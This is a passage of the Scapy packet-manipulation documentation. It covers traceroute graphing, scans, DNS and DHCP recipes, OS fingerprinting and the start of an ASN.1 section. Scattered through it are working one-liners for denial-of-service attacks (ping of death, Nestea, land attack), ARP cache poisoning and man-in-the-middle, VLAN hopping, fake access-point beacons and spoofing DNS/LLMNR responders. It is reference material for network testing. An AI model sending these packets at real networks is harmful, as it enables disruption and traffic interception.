20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)





The last line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

>>> result, unans = _
>>> result.show()
   193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])





Like any result object, traceroute objects can be added :

>>> r2, unans = traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
   195.101.94.25:80
1  192.168.8.1
2  82.251.4.254
3  213.228.4.254
4  212.27.50.169
5  212.27.50.162
6  193.252.161.97
7  193.252.103.86
8  193.252.103.77
9  193.252.101.1
10 193.252.227.245
12 195.101.94.25   SA
13 195.101.94.25   SA
14 195.101.94.25   SA
15 195.101.94.25   SA
16 195.101.94.25   SA
17 195.101.94.25   SA
18 195.101.94.25   SA
19 195.101.94.25   SA
20 195.101.94.25   SA
>>>
>>> r3=result+r2
>>> r3.show()
   195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80
1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46
5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37
6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69
7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178
8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98
9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89
10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126
11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178
12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46
13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234
14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA
16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA





Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph.

>>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
   193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
[...]
>>> res.graph()                          # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")   # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file





[image: _images/graph_traceroute.png]
If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it’s IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:

>>> res.trace3D()





[image: _images/trace3d_1.png]
[image: _images/trace3d_2.png]


Wireless frame injection


Note

See the TroubleShooting section for more information on the usage of Monitor mode among Scapy.



Provided that your wireless card and driver are correctly configured for frame injection, you can have a kind of FakeAP:

>>> sendp(RadioTap()/
          Dot11(addr1="ff:ff:ff:ff:ff:ff",
                addr2="00:01:02:03:04:05",
                addr3="00:01:02:03:04:05")/
          Dot11Beacon(cap="ESS", timestamp=1)/
          Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/
          Dot11EltRates(rates=[130, 132, 11, 22])/
          Dot11Elt(ID="DSset", info="\x03")/
          Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),
          iface="mon0", loop=1)





Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example RadioTap()) by PrismHeader(), or by a proprietary pseudo-layer, or even to remove it.




Simple one-liners


ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans.
For example, the following string will be sent to simulate an ACK Scan:

>>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))





We can find unfiltered ports in answered packets:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print("%d is unfiltered" % s[TCP].dport)





Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:
...     print("%d is filtered" % s[TCP].dport)







Xmas Scan

Xmas Scan can be launched using the following command:

>>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )





Checking RST responses will reveal closed ports on the target.



IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)







ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)





Answers can be reviewed with the following command:

>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )





Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping("192.168.1.0/24")







ICMP Ping

Classical ICMP Ping can be emulated using the following command:

>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)





Information on live hosts can be collected with the following request:

>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )







TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )





Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )







UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )





Once again, results can be collected with this command:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )







DNS Requests

IPv4 (A) request:

This will perform a DNS request looking for IPv4 addresses

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an[0].rdata
'217.25.178.5'





SOA request:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))
>>> ans.an[0].mname
b'dns.ovh.net.'
>>> ans.an[0].rname
b'tech.ovh.net.'





MX request:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))
>>> results = [x.exchange for x in ans.an]
>>> results
[b'alt1.aspmx.l.google.com.',
 b'alt4.aspmx.l.google.com.',
 b'aspmx.l.google.com.',
 b'alt2.aspmx.l.google.com.',
 b'alt3.aspmx.l.google.com.']







Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())





Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )





Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))





Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))







ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning
its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )





ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )







ARP MitM

This poisons the cache of 2 machines, then answers all following ARP requests to put the host between.
Calling ctrl^C will restore the connection.

$ sysctl net.ipv4.conf.virbr0.send_redirects=0  # virbr0 = interface
$ sysctl net.ipv4.ip_forward=1
$ sudo scapy
>>> arp_mitm("192.168.122.156", "192.168.122.17")







TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res, unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )





Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )







IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals
and receiving the answers:

>>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )





Visualizing the results in a list:

>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )







DNS server

By default, dnsd uses a joker (IPv4 only): it answers to all unknown servers with the joker. See DNS_am:

>>> dnsd(iface="tap0", match={"google.com": "1.1.1.1"}, joker="192.168.1.1")





You can also use relay=True to replace the joker behavior with a forward to a server included in conf.nameservers.



LLMNR server

See LLMNR_am:

>>> conf.iface = "tap0"
>>> llmnrd(iface="tap0", from_ip=Net("10.0.0.1/24"))





Note that llmnrd extends the dnsd API.



Netbios server

See NBNS_am:

>>> nbnsd(iface="eth0")  # With local IP
>>> nbnsd(iface="eth0", ip="192.168.122.17")  # With some other IP







Node status request (get NetbiosName from IP)

>>> sr1(IP(dst="192.168.122.17")/UDP()/NBNSHeader()/NBNSNodeStatusRequest())







Advanced traceroute


TCP SYN traceroute

>>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))





Results would be:

>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA







UDP traceroute

Tracerouting an UDP application like we do with TCP is not
reliable, because there’s no handshake. We need to give an applicative payload (DNS, ISAKMP,
NTP, etc.) to deserve an answer:

>>> res, unans = sr(IP(dst="target", ttl=(1,20))
              /UDP()/DNS(qd=DNSQR(qname="test.com"))





We can visualize the results as a list of routers:

>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))







DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in l4 parameter of traceroute() function:

>>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
...








Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>







ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>







VLAN hopping

In very specific conditions, a double 802.1q encapsulation will
make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())







Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))






Note

On Windows and OSX, you will need to also use monitor=True, which only works on scapy>2.4.0 (2.4.0dev+). This might require you to manually toggle monitor mode.



The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble








Recipes


Simplistic ARP Monitor

This program uses the sniff() callback (parameter prn). The store parameter is set to 0 so that the sniff() function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)







Identifying rogue DHCP servers on your LAN


Problem

You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentionally or maliciously.
Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.



Solution

Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets





In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP





We are only interested in the MAC and IP addresses of the replies:

>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11







Discussion

We specify multi=True to make Scapy wait for more answer packets after the first response is received.
This is also the reason why we can’t use the more convenient dhcp_request() function and have to construct the DHCP packet manually: dhcp_request() uses srp1() for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don’t match, we have to disable Scapy’s check with conf.checkIPaddr = False before sending the stimulus.



See also

http://en.wikipedia.org/wiki/Rogue_DHCP




Firewalking

TTL decrementation after a filtering operation
only not filtered packets generate an ICMP TTL exceeded

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport





Find subnets on a multi-NIC firewall
only his own NIC’s IP are reachable with this TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst







TCP Timestamp Filtering


Problem

Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.



Solution

To allow Scapy to reach target destination additional options must be used:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))








Viewing packets with Wireshark


Problem

You have generated or sniffed some packets with Scapy.

Now you want to view them with Wireshark [https://www.wireshark.org], because
of its advanced packet dissection capabilities.



Solution

That’s what wireshark() is for!

# First, generate some packets...
packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()

# Show them with Wireshark
wireshark(packets)





Wireshark will start in the background, and show your packets.



Discussion


	
wireshark(pktlist, ...)

	With a Packet or PacketList, serialises your
packets, and streams this into Wireshark via stdin as if it were a
capture device.

Because this uses pcap format to serialise the packets, there are some
limitations:


	Packets must be all of the same linktype.

For example, you can’t mix Ether and IP at the
top layer.



	Packets must have an assigned (and supported) DLT_* constant for the
linktype.  An unsupported linktype is replaced with DLT_EN10MB
(Ethernet), and will display incorrectly in Wireshark.

For example, can’t pass a bare ICMP packet, but you can send
it as a payload of an IP or IPv6 packet.





With a filename (passed as a string), this loads the given file in
Wireshark. This needs to be in a format that Wireshark supports.

You can tell Scapy where to find the Wireshark executable by changing the
conf.prog.wireshark configuration setting.

This accepts the same extra parameters as tcpdump().






See also


	WiresharkSink
	A PipeTools sink for live-streaming packets.



	wireshark(1)
	Additional description of Wireshark’s functionality, and its
command-line arguments.



	Wireshark’s website [https://www.wireshark.org]
	For up-to-date releases of Wireshark.



	Wireshark Protocol Reference [https://wiki.wireshark.org/ProtocolReference]
	Contains detailed information about Wireshark’s protocol dissectors, and
reference documentation for various network protocols.










Performance of Scapy


Problem

Scapy dissects slowly and/or misses packets under heavy loads.


Note

Please bear in mind that Scapy is not designed to be blazing fast, but rather easily hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance cost. Of course, we still do our best to make Scapy as fast as possible, but it’s not the absolute main goal.





Solution

There are quite a few ways of speeding up scapy’s dissection. You can use all of them


	Using a BPF filter: The OS is faster than Scapy. If you make the OS filter the packets instead of Scapy, it will only handle a fraction of the load. Use the filter= argument of the sniff() function.


	By disabling layers you don’t use: If you are not using some layers, why dissect them? You can let Scapy know which layers to dissect and all the others will simply be parsed as Raw. This comes with a great performance boost but requires you to know what you’re doing.




# Enable filtering: only Ether, IP and ICMP will be dissected
conf.layers.filter([Ether, IP, ICMP])
# Disable filtering: restore everything to normal
conf.layers.unfilter()








Very slow start because of big routes


Problem

Scapy takes ages to start because you have very big routing tables.



Solution

Disable the auto-loading of the routing tables:

CLI: in ~/.config/scapy/prestart.py add:

conf.route_autoload = False
conf.route6_autoload = False





Programmatically:

# Before any other Scapy import
from scapy.config import conf
conf.route_autoload = False
conf.route6_autoload = False
# Import Scapy here
from scapy.all import *





At anytime, you can trigger the routes loading using conf.route.resync() or conf.route6.resync(), or add the routes yourself as shown here.




OS Fingerprinting


ISN

Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:

>>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))





Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:

>>> temp = 0
>>> for s, r in ans:
...    temp = r[TCP].seq - temp
...    print("%d\t+%d" % (r[TCP].seq, temp))
...
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310







nmap_fp

Nmap fingerprinting (the old “1st generation” one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:

>>> load_module("nmap")





If you have Nmap installed you can use it’s active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:

>>> conf.nmap_base





Then you can use the nmap_fp() function which implements same probes as in Nmap’s OS Detection engine:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])







p0f

If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:

>>> conf.p0f_base





For example to guess OS from a single captured packet:

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>











            

          

      

      

    

  

    
      
          
            
  
Advanced usage


ASN.1 and SNMP


What is ASN.1?


Note

This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I’m sure you’ll find better on the Internet.



ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules.

The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes, and signatures.

ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so-called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes.

Each of these objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is an integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the Context class begin at 0xa0. When encountering an object tagged by 0xa0, we’ll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version.

Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc.



Scapy and ASN.1

Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite laxer than what an ASN.1 parser should be, and it kind of ignores constraints. It won’t replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those.


ASN.1 engine

Note: many of the classes definitions presented here use metaclasses. If you don’t look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behavior.
``
Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ASN1_Class. The first one is ASN1_Class_UNIVERSAL, which provide tags for most Universal objects. Each new context (SNMP, X509) will inherit from it and add its own objects.

class ASN1_Class_UNIVERSAL(ASN1_Class):
    name = "UNIVERSAL"
# [...]
    BOOLEAN = 1
    INTEGER = 2
    BIT_STRING = 3
# [...]

class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
    name="SNMP"
    PDU_GET = 0xa0
    PDU_NEXT = 0xa1
    PDU_RESPONSE = 0xa2

class ASN1_Class_X509(ASN1_Class_UNIVERSAL):
    name="X509"
    CONT0 = 0xa0
    CONT1 = 0xa1
# [...]





All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ASN1_Object whose they inherit from. Hence they are quite simple:

class ASN1_INTEGER(ASN1_Object):
    tag = ASN1_Class_UNIVERSAL.INTEGER

class ASN1_STRING(ASN1_Object):
    tag = ASN1_Class_UNIVERSAL.STRING

class ASN1_BIT_STRING(ASN1_STRING):
    tag = ASN1_Class_UNIVERSAL.BIT_STRING





These instances can be assembled to create an ASN.1 tree:

>>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])])
>>> x
<ASN1_SEQUENCE[[<ASN1_INTEGER[7]>, <ASN1_STRING['egg']>, <ASN1_SEQUENCE[[<ASN1_BOOLEAN[False]>]]>]]>
>>> x.show()
# ASN1_SEQUENCE:
  <ASN1_INTEGER[7]>
  <ASN1_STRING['egg']>
  # ASN1_SEQUENCE:
    <ASN1_BOOLEAN[False]>







Encoding engines

As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec.

Encoding and decoding are done using class methods provided by the codec. For example the BERcodec_INTEGER class provides a .enc() and a .dec() class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:

>>> BERcodec_INTEGER.enc(7)
'\x02\x01\x07'
>>> BERcodec_BIT_STRING.enc("egg")
'\x03\x03egg'
>>> BERcodec_STRING.enc("egg")
'\x04\x03egg'
>>> BERcodec_STRING.dec('\x04\x03egg')
(<ASN1_STRING['egg']>, '')
>>> BERcodec_STRING.dec('\x03\x03egg')
Traceback (most recent call last):
  File "<console>", line 1, in ?
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2178, in do_dec
    l,s,t = cls.check_type_check_len(s)
  File "/usr/bin/scapy", line 2076, in check_type_check_len
    l,s3 = cls.check_type_get_len(s)
  File "/usr/bin/scapy", line 2069, in check_type_get_len
    s2 = cls.check_type(s)
  File "/usr/bin/scapy", line 2065, in check_type
    (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s)
BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting <ASN1Tag STRING[4]>
### Already decoded ###
None
### Remaining ###
'\x03\x03egg'
>>> BERcodec_Object.dec('\x03\x03egg')
(<ASN1_BIT_STRING['egg']>, '')





ASN.1 objects are encoded using their .enc() method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. raw() can also be used. In this case, the default codec (conf.ASN1_default_codec) will be used.

>>> x.enc(ASN1_Codecs.BER)
'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
>>> raw(x)
'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
>>> xx,remain = BERcodec_Object.dec(_)
>>> xx.show()
# ASN1_SEQUENCE:
  <ASN1_INTEGER[7L]>
  <ASN1_STRING['egg']>
  # ASN1_SEQUENCE:
    <ASN1_BOOLEAN[0L]>

>>> remain
''





By default, decoding is done using the Universal class, which means objects defined in the Context class will not be decoded. There is a good reason for that: the decoding depends on the context!

>>> cert="""
... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC
... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB
... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg
... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw
... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB
... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg
... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh
... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs
... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs
... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg
... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ
... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0
... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X
... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml
... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh
... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo
